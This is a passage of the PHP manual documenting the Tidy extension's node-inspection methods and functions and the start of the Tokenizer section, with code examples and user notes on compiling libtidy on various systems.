  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isComment()) {
        echo "\n\n# comment node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

Notes

Note:

This function was named tidy_node::is_comment() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node is part of a HTML document

  • « tidyNode::isComment
  • tidyNode::isJste »
  • PHP Manual
  • tidyNode
  • Checks if a node is part of a HTML document

tidyNode::isHtml

(PHP 5 >= 5.0.1)

tidyNode::isHtml — Checks if a node is part of a HTML document

Description

bool tidyNode::isHtml ( void )

Tells if the node is part of HTML document.

Return Values

Returns TRUE if the node is part of a HTML document, FALSE otherwise.

Examples

Example #1 Extract HTML code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {
    // check if the current node is of requested type
    if($node->isHtml()) {
        echo "\n\n# html node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# html node #1
<html>
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>
</html>

# html node #2
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>

# html node #3
<?php echo '<title>title</title>'; ?>

# html node #4
<#
  /* JSTE code */
  alert('Hello World');
#>

# html node #5
<title></title>

# html node #6
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>

# html node #7
<?php
  // PHP code
  echo 'hello world!';
?>

# html node #8
<%
  /* ASP code */
  response.write("Hello World!")
%>

# html node #9
<!-- Comments -->

# html node #10
Hello World

# html node #11
Outside HTML

Notes

Note:

This function was named tidy_node::is_html() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if this node is JSTE

  • « tidyNode::isHtml
  • tidyNode::isPhp »
  • PHP Manual
  • tidyNode
  • Checks if this node is JSTE

tidyNode::isJste

(PHP 5 >= 5.0.1)

tidyNode::isJste — Checks if this node is JSTE

Description

bool tidyNode::isJste ( void )

Tells if the node is JSTE.

Return Values

Returns TRUE if the node is JSTE, FALSE otherwise.

Examples

Example #1 Extract JSTE code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isJste()) {
        echo "\n\n# jste node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

Notes

Note:

This function was named tidy_node::is_jste() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node is PHP

  • « tidyNode::isJste
  • tidyNode::isText »
  • PHP Manual
  • tidyNode
  • Checks if a node is PHP

tidyNode::isPhp

(PHP 5 >= 5.0.1)

tidyNode::isPhp — Checks if a node is PHP

Description

bool tidyNode::isPhp ( void )

Tells if the node is PHP.

Return Values

Returns TRUE if the current node is PHP code, FALSE otherwise.

Examples

Example #1 Extract PHP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isPhp()) {
        echo "\n\n# php node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# php node #1
<?php echo '<title>title</title>'; ?>

# php node #2
<?php
  // PHP code
  echo 'hello world!';
?>

Notes

Note:

This function was named tidy_node::is_php() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node represents text (no markup)

  • « tidyNode::isPhp
  • Tidy Functions »
  • PHP Manual
  • tidyNode
  • Checks if a node represents text (no markup)

tidyNode::isText

(PHP 5 >= 5.0.1)

tidyNode::isText — Checks if a node represents text (no markup)

Description

bool tidyNode::isText ( void )

Tells if the node represents a text (without any markup).

Return Values

Returns TRUE if the node represent a text, FALSE otherwise.

Examples

Example #1 Extract text from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isText()) {
        echo "\n\n# text node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# text node #1
Hello World

# text node #2
Outside HTML

Notes

Note:

This function was named tidy_node::is_text() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Tidy Functions

Table of Contents

  • ob_tidyhandler — ob_start callback function to repair the buffer
  • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
  • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
  • tidy_get_output — Return a string representing the parsed tidy markup
  • tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding
  • tidy_reset_config — Restore Tidy configuration to default values
  • tidy_save_config — Save current settings to named file
  • tidy_set_encoding — Set the input/output character encoding for parsing markup
  • tidy_setopt — Updates the configuration settings for the specified tidy document
  • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

badtzmari at gmail dot com 03-Dec-2007 04:52
The manual doesn't really make it clear that the PECL ext is only for php4. For php5, you have to use the --with-tidy option. (At least, this was the case for me with php 5.2.5 on Mac OS 10.4 - Tiger.) Tiger ships with tidylibs already installed in /usr/include but there is broken header file. The easiest way to get php to compile with Tidy on 10.4 (and 10.5 Leopard also) is to download Macports and use that to install tidy (unless you want to build tidy from src.) After installing Macports via the .dmg, just su root and do:

port install tidy

(port is installed in /opt/local/bin)

Then configure --with-tidy=/opt/local (Macports installs stuff in /opt/local).

You can also use Macports to install all sorts of other libs such as png, libmcrypt, freetype and jpeg (although libpng and libjpeg are also available as package installs.)

The specific compile error is:

In file included from /usr/include/tidy/tidy.h:70,
                 from /Users/mari/Downloads/php-5.2.5/ext/tidy/
tidy.c:34:
/usr/include/tidy/platform.h:515: error: duplicate 'unsigned'
/usr/include/tidy/platform.h:515: warning: useless type name in empty declaration
Shuster 29-Oct-2007 08:45
Valid XHTML STRICT

<?php

if (function_exists('tidy_repair_string'))
{
    $xhtml = tidy_repair_string($xhtml, array('output-xhtml' => true, 'show-body-only' => true, 'doctype' => 'strict', 'drop-font-tags' => true, 'drop-proprietary-attributes' => true, 'lower-literals' => true, 'quote-ampersand' => true, 'wrap' => 0), 'raw');
}

?>
Guillaume 15-May-2007 01:36
To install correctly Tidy for PHP5 on Ubuntu, follow this link :
http://ubuntuforums.org/showthread.php?t=195636

In fact, you need to run a "make clean" before the commands "make" and "make install"
matteo dot contri at tecem dot it 12-Oct-2006 10:44
i had many problem with a javascript that grab mouse event on image and tidy (obviously).
I found this solution:

'output-xhtml'  => false

and everything is working again!
info att tcknetwork doot com 15-Jul-2006 12:23
I have been searching for an easy way to check an entire website against HTML/XHTML formatting (no error, compilant, etc.), tidy is very useful for that :
<?php

/** aready checked pages */
$e=array();
/** webpages to check */
$t=array("/web/test.com/");
/** forbidden extensions (typically linked ressources) */
$x=explode(",","jpg,gif,png,doc,xls,pdf");

echo "<pre>";
while ($t[0]) {
 // already checked or a ressource => skip
 if (in_array($t[0],$e) || in_array(substr($t[0],-3),$x)) array_shift($t);
 else { $c=array_shift($t); $e[]=$c; $t=array_merge($t,ck($c)); }
}
echo "</pre>";

/**
 check_vailidty($url,$server)
 return : list of the internal links of the page
*/
function ck($u,$s="http://127.0.0.1") {
 $c=array("indent"=>1,"output-xhtml"=>1,"accessibility-check"=>3);
 $t=tidy_parse_string(file_get_contents($s.$u),$c);
 tidy_clean_repair($t);
 if (tidy_error_count($t)) { // we have error, display them
  echo "FAIL ".htmlentities($u)." (".tidy_error_count($t)." errors)\n";
  echo htmlentities(tidy_get_error_buffer($t))."\n";
 } else { // all right
  echo "OK ".htmlentities($u)."\n";
 }
 // return all the links inside the page
 return gl(tidy_get_root($t),substr($u,-1)=="/"?$u:dirname($u)."/");
}
/**
 get_links($tinynode,$baseurl)
 return : list of the links
*/
function gl($t,$b) {
  $r=array();
  $c=count($t->child);
  for ($i=0;$i<$c;$i++) {
    $e=&$t->child[$i];
    if ($e->name=="a") { // a link
      $h=$e->attribute["href"]; // url
      if (substr($h,0,4)!="http") { // prevent external links
        $r[]=sp(substr($h,0,1)=="/"?$h:$b.$h);
      }
    } else { // not a link, search recursively inside
      $r=array_merge($r,gl($e,$b));
    }
  }
  return $r;
}
/**
 simplify_path($path)
 return : simplified path
*/
function sp($p) {
  while ($o!=$p) {
    $o=$p;
    $p=str_replace(array("//","/./"),"/",$p);
    $p=preg_replace("/\/[^\/]+\/..\//","/",$p);
  }
  return $p;
}

?>
Limitation : does not detect javascript-generated links. Check about set_time_limit(0) if you have a lot of webpages.
Paul Cook 11-Apr-2006 05:25
To get libtidy and PHP 5.0.5 compiled on OS X Tiger this is what I needed to do:

1) download and upack the tidy source.
2) cd tidy-source-dir
3) >> /bin/sh build/gnuauto/setup.sh
4) then you can configure/make/make install as normal

PHP build generates errors because of tidy so I needed to edit the platform.h file like this (use your favorite command line editor):

5) >> sudo emacs /usr/local/include/platform.h
6) comment out line 508 which was causing the 'duplicate "unsigned" ' error in the PHP build.

7) configure/make/make install PHP as normal using --with-tidy=/usr/local

Restart apache and everything works now.  HTH someone.
patatraboum at nospam dot fr 25-Feb-2006 07:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
    if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
    elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
    global $tidyCns,$tidyNext;
    $tidyTab=array();
    $tidyKeys=array("type","value","id","attribute");
    foreach($tidy as $pKey=>$pVal){
        if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
    }
    ksort($tidyTab);
    foreach($tidyTab as $pKey=>$pVal){
        switch($pKey){
            case 0 :
                if($pVal==4) $value=true; else $value=false;
                echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
            case 1 :
                if($value){
                    echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
                }
                break;
            case 2 :
                echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
            case 3 :
                if($pVal!=NULL){
                    echo indent(false,$level)."ATTRIBUTS : ";
                    foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
                }
        }
    }
    if($tidy->hasChildren()){
        $level++; $i=0;
        $tidyNext[$level]=true;
        echo indent(false,$level)."\n";
        foreach($tidy->child as $child){
            $i++;
            if($i==count($tidy->child)) $tidyNext[$level]=false;
            tidyTree($child,$level);
        }
    }
    else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
    global $tidyNext;
    $indent="";
    for($i=1;$i<=$level;$i++){
        if($i<$level||!$tidyType){
            if($tidyNext[$i]) $str="|  "; else $str="   ";
        }
        else $str="+--";
        $indent=$indent.$str;
    }
    return $indent;
}
//
echo "</pre></body></html>";
//
?>
tonygambone at gNOSPAMmail dot com 06-Feb-2006 05:03
Using PHP 5.1.2 on Win32/IIS, I noticed that even with "output-xhtml: yes," tidy was adding the deprecated name attribute to form tags (using the value of the id attribute).  Grabbing the latest dll from the snaps link at the top of the page fixed this.
tom at expresshosting dot net 23-Aug-2005 07:50
It should be noted that the examples on this page apply ONLY to PHP5. None of the functions in the manual apply to PHP4. The names are the same but arguments are different on some of them (tidy_parse_string).

If you wish to use tidy in PHP 4.3.x you can use the following example instead:

<?php

$tidyhtml = ob_get_contents();
if( function_exists( 'tidy_parse_string' ) ) {
        tidy_set_encoding('iso-8859-1');
        tidy_parse_string($tidyhtml);
        tidy_setopt('output-xhtml', TRUE);
        tidy_setopt('indent', TRUE);
        tidy_setopt('indent-spaces', 2);
        tidy_setopt('wrap', 200);
        tidy_clean_repair();
        $tidyhtml = tidy_get_output();
}
ob_end_clean();

echo $tidyhtml;

?>

Hope that helps somebody.
mohan at asix dot com dot my 11-Feb-2005 09:23
To those who need to install libtidy on mac os x , here is a guide that worked for me :

If you're on Mac OS X, you'll need to tell the Makefile that you use
ranlib:

    $ export set RANLIB=ranlib

Change to the directory with the Makefile in it, and run make.
This example uses the GNU make Makefile.

    $ cd tidy/build/gmake/

    $ make
    if [ ! -d ./obj ]; then mkdir ./obj; fi
    gcc -o obj/access.o ...
    ... etc etc etc ...

Install the libs, headers and the tidy executable:

    $ sudo make install

If you're on Mac OS X, you'll have to run ranlib again on the installed
lib:

    $ sudo ranlib /usr/local/lib/libtidy.a
Jon Dowland (bugs at alcopop dot org) 01-Feb-2005 12:40
Rough installation instructions for debian/testing:

Use debian's apt package manager to install the required development packages

$ apt-get install php4-dev php4-pear libtidy-dev

Then use pear to install tidy

$ pear install tidy

Note: I did /not/ have success installing the tarball locally. Only using this method was the .so put in the correct place.

I also had to add an entry to the php.ini

$ echo extension=tidy.so >> /etc/php4/apache/php.ini
$ apachectl restart

...and you're done.
doodleelephant 16-Nov-2004 02:34
I'm installing PHP 5.0.2 on Redhat Linux (I forget the version. Enterprise WS 3 I think) I had troubles installing the libtidy. It consistently complained that it could not find 'libtidy'. I finally got a clue into how to install it (in build/gnuauto/readme.txt). This is how I finally got it to install (after lots of trial and error):

First, don't get the binary distribution of of tidy.sf.net. It's not what you want. You need the source distribution.

Command by command this is what I did:
=======

wget http://tidy.sourceforge.net/src/tidy_src.tgz
tar -xzf tidy_src.tgz
cd tidy
/bin/sh build/gnuauto/setup.sh
./configure --prefix=/usr
make
make install
cd [php source directory]
./configure --with-tidy=/usr --[other extensions]
make
make install

=======
Tada. Finally it doesn't complain when I configure PHP about the installation. The info I needed was stuck in that build/gnuauto/readme.txt file in the tidy directory.

Took me a while. Hope my trials can help others save time.

Doodleelephant
bill dot mccuistion at qbopen dot com 30-Oct-2004 07:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.


ob_start callback function to repair the buffer

  • « Tidy Functions
  • tidy_access_count »
  • PHP Manual
  • Tidy Functions
  • ob_start callback function to repair the buffer

ob_tidyhandler

(PHP 5)

ob_tidyhandler — ob_start callback function to repair the buffer

Description

string ob_tidyhandler ( string $input [, int $mode ] )

Callback function for ob_start() to repair the buffer.

Parameters

input

The buffer.

mode

The buffer mode.

Return Values

Returns the modified buffer.

Examples

Example #1 ob_tidyhandler() example

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See Also

  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy accessibility warnings encountered for specified document

  • « ob_tidyhandler
  • tidy_config_count »
  • PHP Manual
  • Tidy Functions
  • Returns the Number of Tidy accessibility warnings encountered for specified document

tidy_access_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document

Description

int tidy_access_count ( tidy $object )

tidy_access_count() returns the number of accessibility warnings found for the specified document.

Parameters

object

The Tidy object.

Return Values

Returns the number of warnings.

Examples

Example #1 tidy_access_count() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// select the accessibility check level: 1, 2 or 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->cleanRepair();

/* Never forget to call this! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

Notes

Note:

Due to the design of the TidyLib, you must call tidy_diagnose() before tidy_access_count() or it will return always 0. You must also need to enable the accessibility-check option.

See Also

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy configuration errors encountered for specified document

  • « tidy_access_count
  • tidy_error_count »
  • PHP Manual
  • Tidy Functions
  • Returns the Number of Tidy configuration errors encountered for specified document

tidy_config_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document

Description

int tidy_config_count ( tidy $object )

Returns the number of errors encountered in the configuration of the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns the number of errors.

Examples

Example #1 tidy_config_count() example

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* This outputs 1, because 'bogus' isn't a valid doctype */
echo tidy_config_count($tidy);
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy errors encountered for specified document

  • « tidy_config_count
  • tidy_get_output »
  • PHP Manual
  • Tidy Functions
  • Returns the Number of Tidy errors encountered for specified document

tidy_error_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_error_count — Returns the Number of Tidy errors encountered for specified document

Description

int tidy_error_count ( tidy $object )

Returns the number of Tidy errors encountered for the specified document.

Parameters

object

The Tidy object.

Return Values

Returns the number of errors.

Examples

Example #1 tidy_error_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->errorBuffer;
?>

The above example will output:

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

See Also

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Return a string representing the parsed tidy markup

  • « tidy_error_count
  • tidy_load_config »
  • PHP Manual
  • Tidy Functions
  • Return a string representing the parsed tidy markup

tidy_get_output

(PHP 5, PECL tidy >= 0.5.2)

tidy_get_output — Return a string representing the parsed tidy markup

Description

string tidy_get_output ( tidy $object )

Gets a string with the repaired html.

Parameters

object

The Tidy object.

Return Values

Returns the parsed tidy markup.

Examples

Example #1 tidy_get_output() example

<?php

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$tidy->cleanRepair();

echo tidy_get_output($tidy);
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

User Contributed Notes

jon+php_net at phpsitesolutions dot com 28-Dec-2008 05:31
If you don't feel like going procedural to get the HTML output, you can simple use this alternative:

<?php

$html = <<<HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <br />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->cleanRepair();
echo $tidy->html()->value;

?>

You can even more simply access the HTML output via this:

<?php

echo $tidy->value;

?>


Load an ASCII Tidy configuration file with the specified encoding

  • « tidy_get_output
  • tidy_reset_config »
  • PHP Manual
  • Tidy Functions
  • Load an ASCII Tidy configuration file with the specified encoding

tidy_load_config

(PECL tidy >= 0.5.2)

tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding

Description

void tidy_load_config ( string $filename , string $encoding )

Loads a Tidy configuration file, with the specified encoding.

Parameters

filename

encoding

Return Values

No value is returned.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.


Restore Tidy configuration to default values

  • « tidy_load_config
  • tidy_save_config »
  • PHP Manual
  • Tidy Functions
  • Restore Tidy configuration to default values

tidy_reset_config

(PECL tidy >= 0.7.0)

tidy_reset_config — Restore Tidy configuration to default values

Description

bool tidy_reset_config ( void )

This function restores the Tidy configuration to the default values.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.


Save current settings to named file

  • « tidy_reset_config
  • tidy_set_encoding »
  • PHP Manual
  • Tidy Functions
  • Save current settings to named file

tidy_save_config

(PECL tidy >= 0.5.2)

tidy_save_config — Save current settings to named file

Description

bool tidy_save_config ( string $filename )

Saves current settings to the specified file. Only non-default values are written.

Parameters

filename

Path to the config file.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

See Also

  • tidy_get_config() - Get current Tidy configuration
  • tidy_getopt() - Returns the value of the specified configuration option for the tidy document
  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_setopt() - Updates the configuration settings for the specified tidy document

User Contributed Notes

There are no user contributed notes for this page.


Set the input/output character encoding for parsing markup

  • « tidy_save_config
  • tidy_setopt »
  • PHP Manual
  • Tidy Functions
  • Set the input/output character encoding for parsing markup

tidy_set_encoding

(PECL tidy >= 0.5.2)

tidy_set_encoding — Set the input/output character encoding for parsing markup

Description

bool tidy_set_encoding ( string $encoding )

Sets the encoding for input/output documents.

Parameters

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.


Updates the configuration settings for the specified tidy document

  • « tidy_set_encoding
  • tidy_warning_count »
  • PHP Manual
  • Tidy Functions
  • Updates the configuration settings for the specified tidy document

tidy_setopt

(PECL tidy >= 0.5.2)

tidy_setopt — Updates the configuration settings for the specified tidy document

Description

bool tidy_setopt ( string $option , mixed $value )

tidy_setopt() updates the specified option with a new value.

Parameters

option

The tidy option name. A list of available configuration options may be found at: » http://tidy.sourceforge.net/docs/quickref.html.

value

The tidy option name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy_setopt() example

<?php
$html = '<p>test</i>';

$tidy = tidy_parse_string($html);

tidy_setopt('indent', FALSE);
?>

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

See Also

  • tidy_getopt() - Returns the value of the specified configuration option for the tidy document
  • tidy_get_config() - Get current Tidy configuration
  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_save_config() - Save current settings to named file

User Contributed Notes

Anonymous 07-Apr-2008 08:46
If you are using the object oriented style of Tidy options are set when calling tidy::parseString(...).

Read more at http://us3.php.net/manual/en/function.tidy-parse-string.php


Returns the Number of Tidy warnings encountered for specified document

  • « tidy_setopt
  • Tokenizer »
  • PHP Manual
  • Tidy Functions
  • Returns the Number of Tidy warnings encountered for specified document

tidy_warning_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

Description

int tidy_warning_count ( tidy $object )

Returns the number of Tidy warnings encountered for the specified document.

Parameters

object

The Tidy object.

Return Values

Returns the number of warnings.

Examples

Example #1 tidy_warning_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

See Also

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Tokenizer Functions
    • token_get_all — Split given source into PHP tokens
    • token_name — Get the symbolic name of a given PHP token

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The tokenizer functions provide an interface to the PHP tokenizer embedded in the Zend Engine. Using these functions you may write your own PHP source analyzing or modification tools without having to deal with the language specification at the lexical level.

See also the appendix about tokens.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Beginning with PHP 4.3.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-tokenizer . You can disable tokenizer support with --disable-tokenizer .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Built-in support for tokenizer is available as of PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

When the extension has either been compiled into PHP or dynamically loaded at runtime, the tokens listed in List of Parser Tokens are defined as constants.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Here is a simple example PHP scripts using the tokenizer that will read in a PHP file, strip all comments from the source and print the pure code only.

Example #1 Strip comments with the tokenizer

<?php
/*
* T_ML_COMMENT does not exist in PHP 5.
* The following three lines define it in order to
* preserve backwards compatibility.
*
* The next two lines define the PHP 5 only T_DOC_COMMENT,
* which we will mask as T_ML_COMMENT for PHP 4.
*/
if (!defined('T_ML_COMMENT')) {
   define('T_ML_COMMENT', T_COMMENT);
} else {
   define('T_DOC_COMMENT', T_ML_COMMENT);
}

$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
   if (is_string($token)) {
       // simple 1-character token
       echo $token;
   } else {
       // token array
       list($id, $text) = $token;

       switch ($id) {
           case T_COMMENT:
           case T_ML_COMMENT: // we've defined this
           case T_DOC_COMMENT: // and this
               // no action on comments
               break;

           default:
               // anything else -> output "as is"
               echo $text;
               break;
       }
   }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer Functions

Table of Contents

  • token_get_all — Split given source into PHP tokens
  • token_name — Get the symbolic name of a given PHP token

User Contributed Notes

There are no user contributed notes for this page.


Split given source into PHP tokens

  • « Tokenizer Functions
  • token_name »
  • PHP Manual
  • Tokenizer Functions
  • Split given source into PHP tokens

token_get_all

(PHP 4 >= 4.2.0, PHP 5)

token_get_all — Split given source into PHP tokens

Description

array token_get_all ( string $source )

token_get_all() parses the given source string into PHP language tokens using the Zend engine's lexical scanner.

For a list of parser tokens, see List of Parser Tokens, or use token_name() to translate a token value into its string representation.

Parameters

source

The PHP source to parse.

Return Values

An array of token identifiers. Each individual token identifier is either a single character (i.e.: ;, ., >, !, etc...), or a three element array containing the token index in element 0, the string content of the original token in element 1 and the line number in element 2.

Examples

Example #1 token_get_all() examples

<?php
$tokens = token_get_all('<?php echo; ?>'); /* => array(
                                                  array(T_OPEN_TAG, '<?php'),
                                                  array(T_ECHO, 'echo'),
